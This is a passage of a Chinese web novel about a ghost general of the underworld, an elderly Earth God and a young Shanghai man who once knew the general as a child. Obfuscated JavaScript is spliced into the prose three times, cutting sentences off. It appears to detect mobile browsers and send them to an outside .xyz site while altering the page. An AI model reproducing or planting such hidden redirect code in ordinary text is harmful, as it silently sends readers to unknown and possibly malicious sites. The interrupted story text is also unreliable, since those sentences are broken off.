“我是消除了他的记忆。” 土地看着他死了这么多年还永远吃不饱的样子,莫名觉得心疼,宣婴因为是饿死鬼,所以对食物总是表现得非常贪婪,这也成了他身体里的三尸鬼。 他必须不停地吃下食物才能不发狂。 除了“主食”,天上的,地上的,水里泡着的,庙观道场的金山银山纸嫁衣纸扎童子,他的肚子只要是饿起来也能吞下去,等他们熬到了现代社会后,他还爱上垃圾食品,中秋节仙家们送的月饼礼盒,端午节信众拜祭的甜咸粽子,他统统能够塞进嘴里还能吃得津津有味。 这不,今晚才缺了一顿,他已经迫不及待撕开一次性筷子的包装。 堂堂真君爷点的这家外卖用了一个京剧图案的饭盒,宣婴也不在意这些繁文缛节,大口大口吃得饥肠辘辘,把土地爷看沉默了,宣婴也无所谓,埋头吃了一口预制菜卤肉饭。 土地公公只能改变话题聊聊沈选为什么会遇险,老头子想不通的是,这几个小鬼到底从哪里来的呢,宣婴不是早就用冲傩抗住了沈家所有的外部灾祸了吗? 冲傩,是一种镇压性、强制性的地官驱邪手段。 某种程度来说,这也是“官”的神仙力量体系,是宣婴的拿手好戏。 正当土地爷想的出神入定时,宣婴忽然毫无预兆地咳嗽了起来。 “哦哟喂!吓我一跳!”土地爷开始还没听清楚,回过神来,疑惑地反问:“你吃傩吃多了吗?” 宣婴没吭声解释清楚,倒是先快速地抬手摘掉面具,随意地一丢。 他的身上一刹那有扶桑花的香气环绕,在露出来的无血色面颊和红色嘴唇上舔了一下,宣婴捋了一下滴滴答答往下淌血的白色头发,他又脱掉粘满血液的T恤衣服,显摆他冷白皮的腰腹肌肉,两腿交叠到桌上。 土地爷看着他满背红色纹身,除了脸部,他白的媲美一张纸张的私/处都被覆盖上一朵朵道教莲花刺青。 这是几几年之前留下的,土地爷最清楚不过了,宣婴也把衣服赶快换掉。 但一个个性如铜墙铁壁一样的人,满身的傲骨被烙下了这种“以色侍人”的耻辱,他看似毫不在乎的表情底下是藏着多少心事也可以猜到。所以如果可以,宣婴更希望别人能够了解他而不是逼迫他服从。 想到这里,土地开始明白他也不是不想要露出真面目和沈选见面,他也会有顾虑,他的自尊心不愿低了人一头,他的高傲让其更像蒙了灰的晚清瓷器了。 宣婴似乎还是困在1938年那场噩梦。 他只听这个身体就是“傩”的男子公私分明地说: “我不是因为他才受伤的,是因为那些害他的脏东西,冲傩有三种,一,太平傩,一般是家宅不宁、人畜不旺、怪异作祟。二,急救傩,多是家人病重、久病垂危。三,地缚傩,这一类是偷盗诈骗、奸/淫行凶带来的灾厄,可是,今晚在地铁冲撞的小鬼身上都没有带着它们。” “有不知来意的上古神龛还在试图召唤沈家人献祭寿数。”他的眼稍凝聚一抹戏文旦角的鬼魅水红,一张空洞华丽的人脸比面具的气质更妖气,白色嘴角掀开的阴冷笑容也像是朦胧一线的鬼灯桃花仙,“我体内的傩告诉我的。” 土地公的眼皮有不详征兆,张开嘴想 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九十年代初,中国彻底进入了又一个新时代,沈选的父母也完全是独生子女家庭的模范。 沈选的命,除了容易被鬼附体,哪里都好。 他与他,真正不般配的地方本不是阴阳,贫富,性别,是一个出生在112年后的人懂不了宣婴,其实沈家人从没有记恨在心,在沈家的书架上,摆着马姨娘的回忆性散文和日记本,除了记叙了绍兴一代的风俗和1938年的历史时代背景,她只字未提仇恨。 宣婴再回忆起来,心中又涌出来人性的弱点,他觉得今天对沈选的态度是凶了点。 人和人的命数本该是不做对比的,沈选根本不懂什么是穷,宣婴这种爹又不疼,娘死的早,生前活活饿死在一口酱油缸的活倒霉蛋跟沈选压根不能比。 那又如何? 沈选不也成不了他。 他还是天上地下第一号的宣婴真君,比什么比,没意思。 他轻拍腿部,发出懒洋洋的声音,半点不觉得自卑地笑。 “嘘,都不晓得要避讳么,我可不想让沈家白发人送黑发人。” 土地公公一惊,认错说:“是,是我鲁莽了。” 避讳,是中国特有的一种文化现象。 所谓“讳”,有指帝王、“圣人”、长官以及鬼神的名字。常人总说不能在嘴上乱用乱说,平时用到与这类人物名字相同的字必须设法避开或改写,此谓避讳。 因为一旦犯“官”讳,活人定将身罹大祸。 可是沈选既然没事,土地公公现在就想知道宣婴要不要紧。 宣婴算是放松好的身体慵懒地勾起一件衣服往头顶套了下去,嘴里烦透了说:“我没事啊,但是官大一级压死人啊,凡事也没有证据,我们两个小“官”乱说上级大‘官’的名讳可不行。不过今年过年有空,我要去地下打点一些烟酒纸扎给领导们了……” 宣婴估计也怕土地公公多嘴,一脸假充大方的他挥手:“我死不了的。” 这次轮到土地爷教训他。 “诶!你刚才还说要避讳!快呸呸呸!” “呸!好了吧!” “快说吉利话!” 宣婴皱眉挨了老头子给他的一个“切钉公”——这是吴语方言里的打孩子用语,人一旦老了,都是一样的,爱听吉利话,既然有些话是避讳…… “办年货!我们下次不说那个字,我们就说……家里办年货行不行?” 宣婴刚才吃饭吃的脸上带点红润感,他又是个什么事情都盼着热热闹闹的性子,歪头认错的微笑表情也很是讨老年人喜欢。 土地爷无奈地跟着他一起笑了起来。 “……哪里像个真君爷的样子。” 宣婴疯疯癫癫的,鼓起腮帮子,呼气吸气,又呼气:“狗屁倒灶的,我本来就是厉鬼一个,才不是什么真君假君。” 他还一身班味地抱怨,手臂比划比划沈选的个子,他掏出手机点出来一张照片。 “你知道么……他,一米八八的个子,居然要我背他……还是小孩子更可爱……你看是吧!他五岁的样子我一直存着呢……” “哦哟,五岁的旧事体还替他留着啊?” “……” “……” 土地公公看他怎么说,宣婴不语只是一味说“吉利话”,土地爷终于忍不住哈哈大笑起来。 其实,凡事只要宣婴能觉得开心,老头子也根本没有别的念想了。 神仙也是帮亲的,沈选是一个挺好的青年,可宣婴才是他的亲人啊,对吧。 12.【一更】天字号:阴判(3) 人间百载沧桑,连幽冥地府也染了烟火气,掌管厉鬼的阴司大将军哄好了自家土地老头,开始对着案头堆积的文书发愁。 后土娘娘朱砂批注的“财务报告”四字也刺得他眼疼。 百年前他跟土地在虹口当城隍时可没这些劳什子规矩,如今倒要学凡人搞什么飞机财政规划。 他正想着,檐外飘来几星香灰,混着他供桌上的信众祭品和香烟。宣婴忽然想起,一百年前初升冥府殿主时,金华城隍庙前的糖画摊子也是这般烟火缭绕,当时他还经常变成一个小女孩在门口套圈,金华市过来卖年货商品的奶奶爷爷都认识宣婴。 他们会问,“囡囡几岁啦!” 宣婴会厚颜无耻说:“爷爷奶奶!我五岁!” 老年人们都把他当小孙女一样看护着,有一个东阳人奶奶还认了他做干孙女。 三年后,这个奶奶阳寿到头,无儿无女的她又一次见到了“干孙女”来替她勾写生死簿,可这次她看到的是大将军的原型,她当下想了半天,发现对于投胎,自己也已经不再恐惧,她对宣婴说了四个字,此生无憾。 但她还有一句话没说。 原来神官是这样的。 怪不得都说菩萨法相万千,宣婴不就是如此吗? 可宣婴以前喜欢度人,除了今夜出意外见沈选,也好久没有一次快活潇洒地去过人间了,毕竟大将军殿夜里可是热闹得很,所以他们还是都当好“泥菩萨”别吓唬凡人更稳妥。 “哟,大将军,老土,都还没睡呢。” 灶王爷看到了他们的大殿仍然亮灯,他也端着滚烫的黑色陶罐子过来看看。刚好桌上的国潮外卖盒还没收拾走,老神仙一把抓起领导的夜宵,围裙战袍沾满陈年油渍,补丁处还粘着几粒糯米,“大将军,原来你是又饿了?可这个预制菜被央视曝光过的,这些猪肉鸡肉可比咱们的岁数还大,神仙都会吃成旱魃!快,别吃了,我这板蓝根炖了三个时辰,趁热喝一点......” 宣婴便是地府鬼见愁,脸色顿时也大变,他坚决反对灶王爷给他喂苦苦的药:“不必了啊,我去睡了,没病没灾喝什么药。” 土地瞄了一眼他骤然紧绷的下颌,放软语气:“好歹把述职报告写完,冥司现在是公务员单位,最重文书体面。” 宣婴烦躁地扯开衣襟盘扣,露出锁骨处镇邪的鎏金锁和朱雀绿松鹿茸项链。 “你第一天认识我?我天生就是莽夫,也只有字还算拿的出手,可这是因为我上岸的时候,根本不用参加笔试啊!” 宣婴难得诉苦起来,他想到天天上班的神仙日子更不想说话了,他怎么过得像个小学生,又要被催写作业,又要喝中药,又不能说脏话,是不是因为他还没成家立业才被当地官殿的小孩子?可他都一百来岁了! 想了想,土地公公又拉着自家百岁小孩替他出谋划策说:“今年冥司的考公成绩出来了吗?不如我们也弄一个对外招聘岗位吧,是时候也该来点大学生了,我们这儿除了你一个年轻点的仙家,都快成了老年大学了。” 灶王爷点点头,还没放弃推销他的中药,“我跟我老伴儿灶神奶奶保管能做出标准的大学食堂饭,大将军你不是也爱吃我的饭嘛,来啊将军——” “灶王爷您使不得!”宣婴见势不妙,急忙躲过了灶王爷。 灶王追他的粉红塑胶拖鞋在青砖地上打滑,可惜扑了个空。 宣婴一个地府大将军这下彻底打不过老头了,他气喘吁吁地捏紧讨厌苦涩的鼻子,盯着罐中翻腾的褐色药汁看了一眼,脖颈后青红色纹路忽明忽暗。灶王爷还想说什么,宣婴突然眼睛一眯,站起来就飞了出去,他的饰品护腕撞在桌子上当啷作响,嘴里流里流气地嚷嚷着:“我明天就找大学生来给我们单位写报告,我给他买酆都人寿保险!给他交社保!交住房公积金!对!就这么愉快的决定了!” 瞎胡扯的他很快一溜烟化作香火白烟跑了。 土地公追都没赶上他,拄着枣木杖从廊柱后转回来,老神仙杖头悬着的五谷锦囊叮咚作响,他作为行政一把手的语气也是头痛:“说了半天也没把报告写完,你看他这当官当的......” 两位老仙对视,斜阳透过雕花窗棂,将供桌那块傩戏面具称托得很是震慑人心——可高堂寺庙里供奉的玄袍玉带旁边也有一个和宣婴相似之处的轮廓,那蜷着的,炸毛的玳瑁异色瞳猫儿,不就是他们那位长不大的宣大将军吗? …… 第二天,承蒙宣将军一夜厚爱,沈选很罕见地在家起晚了,一丝不苟的发型都睡塌了,他长大以后都不会这么放纵自己的。 昨天晚上的宣婴曾盯着他很久,这是因为他们已经很久没见过,沈选小时候的五官不知不觉彻底长开,他如今气质温和优雅,身材和穿衣也颇有书卷气。 可这一切,却让沈选落入了宣婴给他制造的恶作剧中。 当他带着不存在的“宿醉”醒来时,天色早已经破晓。 金融区的高楼大厦,一缕阳光照射在他身上,他的微信也跟着响了一声。 他爬起来,看看四周,这个房子是他的,地段在2025年的上海徐家汇,可经过昨夜的事情,现代都市与幽冥世界的交汇点已经向他泄密一道阴阳裂隙。 沈选现在就有点走阴间带来的“倒时差”,他觉得身体哪里都不舒服。 这个季节,昼夜温差大,会冷是正常的。可问题是他居然没有睡在床上,而是躺在沙发上,他的脚还被人故意抬高放在扶手上,原地倒立,双手分开,摆放整齐…… 沈选:“?” 这造型,让沈选还真像“凶杀现场”的粉笔模特。 记仇的宣婴开了一个很缺德的玩笑。 但他既然敢做也要验收成果,千里之外的大将军从面具背后观察到了这一幕,吃饱了撑的心中又生一计。 恰好法坛今天摆的祭品除了有香烛还有橘子糕饼。 宣婴的单腿撑着胳膊,存心带着一丝逗弄在石台弯下腰,接着伸出手的他抓起一个枣泥酥饼,黑色指甲和白骨化的双手掰开点心,挑出来甜糯的红枣核桃馅料,把嘴塞得满满的,才挤出一缕似有若无的微喘吹入青年的耳洞。 “呼……”他还作妖地咬住下唇,“嗯哼~” !!! 沈选被吓得猛地跳了起来,甩开毯子爬到另一边,注视背后的他这一刻真的被震惊、恍惚和茫然包围了,他的心情还跟吃了哑巴亏一样无语。 是谁在亲他? 刚刚……是不是有谁在挠他痒痒?还对他耳朵诱惑着吹了一口气? 宣婴玩完这局已经腻了。 倒霉的是沈选到现在还没认清敌人躲在暗处的战斗力有多强。 这时,高楼公寓阳台那头的微风徐徐而来。 沈选穿上拖鞋走到窗边,他觉得,这个打开的落地窗似乎像有人进来过,连忙抬手抚摸遍所有的指纹痕迹。 可是地砖表面很干净,家政服务是不会得罪大主顾的,棕色木板移门的缝隙有一些正常人家的灰尘,除此之外他眼中是头发丝都不见的冷落孤寂。 沈选又莫名沉默了。 他的嘴唇发白,身上的白色睡衣透出宽松版型下的微微颤抖,身上都是一种他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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更别提,当沈选的身上开始透出“宣婴”亲自用嘴度给他的一口香火,小鬼们也就识别不出来他是人还是鬼。 加上沈选也挺审视夺度地做了一次“伪装”。 在他从剧本杀店租了一套中式民俗鬼怪副本npc衣服,又成功打入群众后,地府原住民们果真泄露了一个近期地府热门招聘岗位。 这次扮成民国富家少爷的他还发现,上海地府不是只有前朝鬼,这几个鬼魂就在喝星巴克。 “我这次又没上岸,还得在饿鬼道待十年,唉……” “多看看地府官网的公务员招聘信息,每年都在扩招的,只要足够优秀,活人都能考地府公务员,对了,你考的是第几场,错了哪道题?” “第二场啊,就这道题你看,请找出下列官中和其管辖区域配对错误的选项(关二爷——财政局;妈祖——市妇保院;玉皇大帝——省公务员局),我选了玉皇大帝。” “你傻啊!选妈祖娘娘啊!你以为妈祖就是给人当妈的!” “我后来才知道啊!我又不是福建人!我都不知道以后还能不能上岸,今年上海不招了吧,政策改了。” “是啊,哪儿还招?我看了一圈都没合适的岗位,我就想追随中国鬼神地下党。” “嗯……如果不出江浙沪的话……诶呦,让我找到一个,金华市五猖将军庙还在招外聘阴判啊。” 沈选握着触控笔记录他们聊天的手突然僵在半空。 头戴礼帽和圆片眼镜的他一直站在地府站台最后的那段位置,身后屏幕上的地铁广告也在此时发生了诡异变化,只见原本清新的蓝绿色调自行扭曲成暗红,接近出口的玻璃幕墙渗出鲜血般的液体。 【我在地府很想你。】 【2025全国地府公务员考试仍在火热报名中】 沈选抽了抽嘴角:“……” 他心里还挺想用请鬼魂们喝咖啡过去搭讪的,因为他感觉这个岗位很烫,可是体温37度的也招吗? 13.【二更】天字号:阴判(4) “金华!阴判是做什么的?香火?科仪?传度?哦!包公那样夜审公堂是不是!” 把咖啡喝完之后丢垃圾桶,其中一个小资上海鬼魂扫过广告瞬间,那些异象突然消失了。 沈选用力降低存在感,他也想知道阴判是否保留“三更断魂、五更勾魄”的中华民族优良传统。 等车中的鬼魂们传来细碎私语。当沈选转头查看时,正对上列车玻璃的倒影——他斜对面站着个穿制服的夜叉站警,胸前悬着的不是城隍令牌,而是一个打印出来的地府工作证明。 呃。 总感觉他在第一层。 中国地府已经自己干到第十八层了。 “不,要会管抖音账号,还要会搞官方旅游小程序,设计文创产品,拉动大将军庙的文化旅游经济。” “……那我不会。” 沈选一听,嗯?是给地官殿干这种工作,这个他倒是会。 “没办法,21世纪了。不过我听说金华市的地官宣婴很凶恶的……” “这可是凡人去地府当公务员的唯一途径。” 鬼魂们最后的声音像砂纸摩擦钢化玻璃,让沈选心里很痒。 “后天子时三刻,宛平南路600号考点可以递交面试资料,通过了就能到地方参加判官面试。" 没等任何人回应,几个灰色身影在咖啡喝完又走向了去往阴间的地铁。 沈选到最后也没敢加入这三个乘客的对话,但他用带来的平板电脑把信息都采集好了。 —— 这次回来是十二点之前,天色已经变黑,沈选无师自通地踩住宣婴“上班”前的半小时,穿过了身边熙攘的游魂野鬼低头缓缓地走向了正常的9号线。 他俩都不知道跟对方擦肩而过了。 不多时,地铁又动了……嘟……嘟…… 两边不一样的地铁隧道交叉着穿过一道摘掉眼镜帽子,单腿跳回来的俊朗身影。 沈选爬上来,回头看看地府那边,放心大胆地往人间的地面上走。 到了人类世界后,他打了辆车安全地远离宜山路站,才慢慢地确信自己小时候就存在的天赋还没消失,但他不知道自己的人终究还是无心奔着宣婴的庙观去了。 因为就在刚刚,他决定要去考金华阴判,但他不准备用真名,出于安全考虑,又或者说是凭借一种家族遗传吧,沈选能感觉到他的体质不对劲,他想去地府打工又不想一辈子噶在下边,那他就用假名——比如“沈狗蛋”来参加笔试吧。 沈狗蛋这边轻轻一拍脑门。 土地爷未来可就要疯了。 他们都以为地铁口的一件事到此了结。 可巧合就巧合在宣婴后来送沈选这件事情上了。 因为前几天地铁口的记忆,土地爷是帮沈选清除了,但在上海青年的脑子里面,留存的东西也并非只有这一晚。 这三十年间,宣婴不是一次没见过沈选,他们其实是有很多次单方面邂逅的,他原以为自己的马脚藏得煞煞清爽,哪知道沈选对他身上那股子沉香气、搓手指的老习惯,还有阴间路上留下的香灰印子都熟得很。 地铁口的这档事,活脱脱像扯落沈选的衬衫纽扣,哗啦啦抖出一串陈年旧账。 继五岁之后,宣婴在他身上又直接牵一发而动全身,他不需要有这段记忆就能回想起他跟宣婴的初见面。 前两天,宣婴同土地公公吃饭也漏过几句口风,讲沈家祖上有德,根本造过孽,沈选这副三天两头跑医院的病秧子身板八成是祖先诅咒。 于是,父母当初抱着襁褓之中的他,也把城隍庙的门槛都踏得锃亮。 小沈选看着各路神仙的香火不绝于眼前,他从不敢抬头。那些神仙祖宗到底是什么,对一个小孩子而言,始终是未知全貌的。 可很多时候,历史转折点和生活里最平凡的一天都是同步到来的。 当小沈选跪在草蒲团上偷看彩塑菩萨,香烛烟熏得伊眼泪水嗒嗒滴时,他那时候根本不懂大人总讲的举头三尺有神明是什么意思,五岁小朋友抬头只能看见屋梁底下飘的经幡布像吊死鬼。 直到沈选与他眼中没有名字的神的初遇,这也是对方占据他生命最浓墨重彩一章的伊始。 沈选如果不碰到聚餐那一晚的突发情况,还又被宣婴出手搭救一命,他也不会重提那年的事情。 是你吗?大将军? 自从1999年除夕夜之后,沈选找了很久都不能亲自下地府找神仙,他只记得对方能点兵拜将,号令阴间。 既然那天夜里的鬼又没吃成自己,“大将军”,一定又是你发善心了,对不对? 可你为什么还来见我呢?你知道我在想念你吗? 沈选止不住地心潮澎湃,看着上海市的车流,他真的巴不得冲到对方的面前解开所有的秘密。 还有,说出他喜欢对方的事实。 …… 是的。 沈选的初恋栽在了一个知名不具的神君身上。 他喜欢的,是一个鬼神。 宣婴以为他忘了,可当年的他被这位大将军捞回来后,就把小人书里的神仙故事抛之脑后,不拜满天神佛,只等地府一人。 …… 当然,这种事情放在现实生活中属实有点不可思议。 温润如玉的青年也以一种自我怀疑的态度背过身,但他巴不得见到暗恋对象的耳垂却微微红了。 他还紧张兮兮地摸了摸手中的线状本子。 “灶君菩萨吃糖黏住嘴——”遥远的地方传来一阵熟悉的年味吆喝。 一刹那滚烫香烛般的回忆似潮涌扑面而来,沈选的耳垂头突然发烫,手指头无意识为谁绞着。 他还知道,自己之前的接受命运都是因为当初的那个人没出现,他这单相思毛病,打99年绍兴过小年就落下了。 那年腊月廿三,沈选还和全世界的小孩一样,在父母带他回老家后,他就眼巴巴盼着过年。 1999年,是一个罕见的大雪年,一直到立春前夕,河埠头的冰碴子都浮在水面上。 沈家人维持着旧习惯,携家带口从上海回来过春节,最大的感觉就是今年老家好冷。 但人间再冷,家里晒过的被窝和人情还是暖的。 每一天,他们都可以看见对面桥头张阿婆的酱油肉挂在竹竿上滴油,还有一个本地爷叔的炒货摊子一到早上九点就开始哔啷啷响。小孩们的新衣服兜里塞满掼炮,青石板缝里都是红炮仗衣。 沈选和男初恋也是在这样的环境下见第一面的。 刚开始过年的前几天,还是小男孩的他经常裹着棉花袄子趴在窗台,闻着糖炒栗子的焦香一个劲往鼻头管里钻。 五岁的他还听说绍兴从明天开始有灯会,会有跳傩戏的表演,120公分以下的儿童游客还可以领取一个神秘小礼品,他从路上开始就期待着能出门看傩神表演了。 这时,傻呆在家中的小沈选看见有人举着麦芽糖奔过去,亮晶晶的糖丝拖得老长老长,五官精致可爱的小男孩跟他妈妈努力对眼神。 “……妈妈,可不可以带我也上街买那个……” 他话没讲完,又咳得背脊弯弯。 “小祖宗哎,歇歇吧。” 叶鹿鸣女士把枣红热水瓶往五斗橱上一蹾,枸杞在茶缸里打转转,“黄历上讲今朝冲太岁晓得伐?” 女人又顺手塞过来本《朝花夕拾》,书皮上还黏着隔年祭祖的锡箔灰。 “在家看一看好书推荐,等初五过了,你再去找小朋友玩……” 初五?今天才二十三啊?沈选的天都塌了。 外头间忽然叮铃哐啷地响起来。沈选他爸沈如诚剁着鸡鸭鹅,扯起上海话:“沈选阿娘,快把东东关到天井去,这呆头狗要把供桌拱翻哉。” 沈家老木门吱嘎关拢,母子这边飘进来句男主的嘀咕:“灶君公公婆婆尝尝新蒸的糖年糕,糯米是曹娥江边收的……还有上海崇明带来的特产,这是白酒和乌蟹,味道都老好啊……” 母亲觉得丈夫讲的太唠叨,她开门走出去了,沈选也不敢哭闹,写出了几行,他听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在沈选亲眼看见灶神们消失后,他的这个春节注定是要迈向鬼神莫测的幽冥界了。 屋外爆竹声声,小孩子此时也顾不上好奇看热闹了。 沈选跳下木床奔向门缝,冰凉的瓷砖地面激得他脚底板一缩,他从地上爬过去听到房门外传来用竹笤帚扫锡箔灰的沙沙声,趁大人们还在拾掇供桌,他鼓起勇气,克服脑子麻木,踉跄就往门缝外头看那对神像们的脸。 沈选这一年才能读懂三年级的语文书,对民间传说也就知道一个《愚公移山》,一个《精卫填海》,但他只见那神龛里的灶神奶奶披着的黄袍跟刚才的老太太是一模一样的。 恍恍惚惚中,他后来又呆立好久,不见了的老爷爷老奶奶都没有再飞回来。 他们好像真的去了所谓的南天门。 还要找玉帝告他偷吃沙琪玛的状去了。 …… 但可能也是因为他本身火点低,沈选当晚就做噩梦了,他觉得脑子里面出现了一本书,不需要他翻越,这本古代名簿册就在一页页地翻,上面充斥着不少人的名字籍贯和死因,沈选头痛欲裂,看着看着,他看到书停下来飘落出一张纸,上面是朱砂笔的批注落款。 “绍兴人士林梅花,阳寿92载,寿终正寝,准入人间道,候轮回。” “正月初五,定好时辰,即刻上路。” 当时距离沈选家不远的地方,有个本地老太太真就叫林梅花。 沈家人万万想不到,儿子也才五岁,已经命主太岁,手握世间第五根判官笔,代阎王爷体察民情一笔预订了活人魂魄。 此时距离1999年的初五,不到十天。 一切年劫里的故事也才刚刚开始。 沈选到现在还记得供桌上那尊连金漆都剥落的小神像。 灶披间角落里显灵的灶神二老像,也就成了他命格里最浓的墨坨坨,开启了他那一晚的正月走阴和寻找心上人之旅。 14.天字号:阴判(5) 1999年。 腊月廿四。 绍兴老城的青石板路上结着薄霜。 晨雾还未散尽时,五岁的沈选就被母亲套上棉袄,他揉着眼睛站在天井里,看屋檐冰棱在晨光里滴水,很快又听见两个消息像炮仗般在耳边炸开:他今晚能去看灯会了,家里还要来个住到初八的远房亲戚。 他尚不清楚,这场看似寻常的拜年,实则是时任地府十九位将军之一的宣婴精心织就的网。就像二十年后他们在上海地铁站注定错身的缘分,这场相遇的褶皱里,藏满凡人不可知的因果。 那个时候,沈选知道的说法是,对方的爸爸妈妈去世了,这次才会只有他坐火车从外地过来拜年。 但宣婴根本是为了让沈选不重蹈覆辙才特地来的。 他说过要沈选护一辈子的,可沈选此时都五岁了,宣婴如果变成一个大人,他肯定不能让孩子乐意亲近,思前想后的他就打算假扮成一个亲戚家后人。 他研究了一下1999年的时候,发现全国各地的中学此时正流行一种条纹体校运动衫,他就提前置办了一身活人衣服,还一等到春节放假就换上了。 哪知道他这一打扮可不得了。 当他把白色长发变没了,套入那件蓝色的体校运动服,肩头背上一个印刷着学校名字的书包袋,地府的熟人们都觉得他整个人真的都不一样了,宣婴的容貌像他老娘不说,他的五官也太显嫩了。 尤其是他现在留着一头扎耳朵的黑色短发,发丝还贴住冻出红色的耳垂。 这“人畜无害”的脸,与壁画里的五猖殿冥界神简直是八竿子打不着。 “哦哟喂!不得了!宣大将军穿成这样走夜路,鬼都认不出这个人是谁。” “大将军真变小屁孩了,天上要掉茅台酒了哈哈哈!” “大将军,你这是返老还童啊,您这何止是少年郎,是没断奶的娃娃啊。” 大家这回也都信了宣婴是十来岁的时候死的。 “大将军这扮相,当真是嫩得能掐出水来。”无常老范捏他脸被宣婴一脚踹进香炉,几个老判油子笑得打跌,非说这般模样走夜路,怕是要被女学生塞情书。 宣婴黑着脸拽土地公遁入人间。 他发誓回去必须挨个给了地府损友们几下拳脚当做出气,可是返老还童,没断奶,小屁孩是什么鬼??? 他可不想一辈子被当成行走的笑话看,这帮大孙子,别逼爷爷动兵法! 他带着闷气来了凡间后,气才消了一些,这时的绍兴老车站和沈家距离还是有点远的,宣婴用单独的行李袋装了几件便服,便紧赶慢赶地准备上门拜年。 土地公公的筇头拐杖勾住了他的书包。 “你这记性,摸摸看少了什么。” 凡人看长辈是大包小包的,宣婴这次也没空着手。 他拎着的牛奶鸡蛋大豆油都在,看起来没少什么吧,土地只能把一张全国亚运会武术冠军的运动员证递了过来。 “你就是太久不做活人了,丢了就去不了沈家过年了!” 宣婴一激动就差点忘了拿走他的假身份,绍兴老站的雪粒子扑在他吓坏的脸上,宣婴一下子攥紧证书的手指泛起青白,牛奶箱在颠簸中险些漏出甜腥,这让他也有点打退堂鼓。 土地帮他缓解女婿上门的紧张。 “进门就叫爷爷奶奶,别没大没小叫沈严海燕,你是薛婴,19岁,马家二舅舅当年在镇江认的干女儿生的第三个孙子,你目前是高中学历,同时还是浙江省二级武术表演运动员,会从外地来绍兴过春节是因为受邀给镇子上的灯会做傩戏和打铁花表演。” 宣婴连连点头,接过来证书塞到后屁股兜里,耳朵里紧跟着传来土地爷的一句话。 “凡人过年家里忙,你多帮忙干干家务活知道吗?还有就是太岁更替的事不能耽误。” 宣婴目前并非闲职,而是位列地府十九位将军之一,但地府这次额外派这位真君爷过来,是希望他协管绍兴一带的太岁更替。 若是除岁成功,宣婴的“官”位就可以再升一级成为一殿之主。 这是机会也是考验,1999年是农历乙卯年,也是二十世纪过度到二十一世纪的一个节点,一般人可能不知道这种年份的太岁有多凶。 在历史上,凡碰到千禧年,人间都会迎来一场千年难遇的太岁劫。 沈家人看来的拜年也是一个神仙对他们的庇佑。 宣婴这次来人间,会一直呆到初八再走,沈家几口人的全部记忆会在初九消失。 此刻一切算是已经顺利地照着计划进行。沈家应该在烧饭菜等他了。 土地爷好像还是怕他出纰漏:“不能让别人记住你的脸,一定要准时摆脱肉身回地府!” “我耳朵听出茧子了。”宣大将军哼一声说:“我还能让你操心?” 土地爷摇了摇头,行,那到了初八要走的那天晚上,你最好也是这样说。别跟那些第一次出门上大学的孩子一样在火车上给我哭一路。 他就这么目送千禧年到来之际的凡人们和宣婴一摇一晃地消失在桥头。 当天下午四点半,备好身份证和节礼,宣大将军满身新装正式敲开了沈选家的门。 他也是一个绍兴“老人”,眼中能看到沈家的老房子传到这一代依旧保留了旧时代本土的部分装修风格,刘海燕开门后,围裙上的面粉味混着糖醋鱼的焦香立刻涌来,他口水都被香的流出来了,险些脱口唤出:海燕,你好吗! 他赶紧闭嘴进屋就换鞋,还被沈选奶奶刘海燕招待着喝了一瓶汽水解解渴。 他们聊了几句家常话,比如路上冷不冷,车上有没有扒手。 爷爷沈严拉着宣婴到客厅看电视和喝糖水,还拿出相册开始遵循传统作风,翻阅几代人过去的家族历史。 宣婴举手表示就想看看这个,他脱了外套叠起来,还问刘海燕要了一个玻璃杯喝汇源。 他提要求的时候觉得自己现在也是沈家一份子啊。 沈家也完全把他算作亲戚了,宣婴像喜神一样带着冬日新年颇为难得的一身勃勃生机,做人大方开朗,嘴巴特别甜,这样的亲戚小孩愿意来家里住到初八,他们觉得没问题。 两个老人家又商量了一下,决定去屋里包个压岁钱,这孩子毕竟是第一次上门,礼数总是要的。 宣婴听说他们要用红包压他的“高龄”也不客气,他现在有点兴奋过头,挠着下巴左看右看,他还没忍住单腿跪在沈家的客厅沙发上,毛手毛脚地爬上去摸了摸沈选参加书法比赛得到的第一名奖状。 当第一根手指碰到一个名字时,他的眼睛里头有一种自豪感和保护欲穿透出来。 接下来,宣婴一时兴起帮一整面墙壁上贴着的各种竞赛奖状擦了一下灰。 没过多久,相框里的奖状已经亮到会发射金光了。 等放电视的声音进行到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969201|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了赵忠祥出场,他又开始扫地,还去厨房看了看有没有可以帮忙洗掉的碗。 这可不是假勤快,是真的盼着今晚这第一顿饭,因为沈选奶奶刚才无意中对他说过一句话,今天就当提前吃年夜饭了。 他从来没吃过年夜饭,自从1938年之后,他都快忘了春节是怎么过的了。 但是活人过年吃的食物一定很美好,不会又冷又馊全部被城隍庙的老鼠爬过,也不会插入一根根呛人香烛浇满血红诡异的蜡。 虽说他一百年来跟每个沈家人都不算是初次见面,宣婴还是收好一堆垃圾擦擦手跑去窗边哈了口气,头发乱糟糟的百岁少年还用左手擦拭模糊不清的窗玻璃,接着就拿胳膊撑着阳台一角看起了窗外大雪纷飞的冬天。 ——捏诀张嘴地念: “天黄黄,地黄黄,我家有个夜哭郎。” 流年太岁快到来的时候,街上溜达的除了人,最多的就是黄鼠狼,老鼠,狐狸变出来的“精”。还有名字没上生死簿的小夜哭郎。 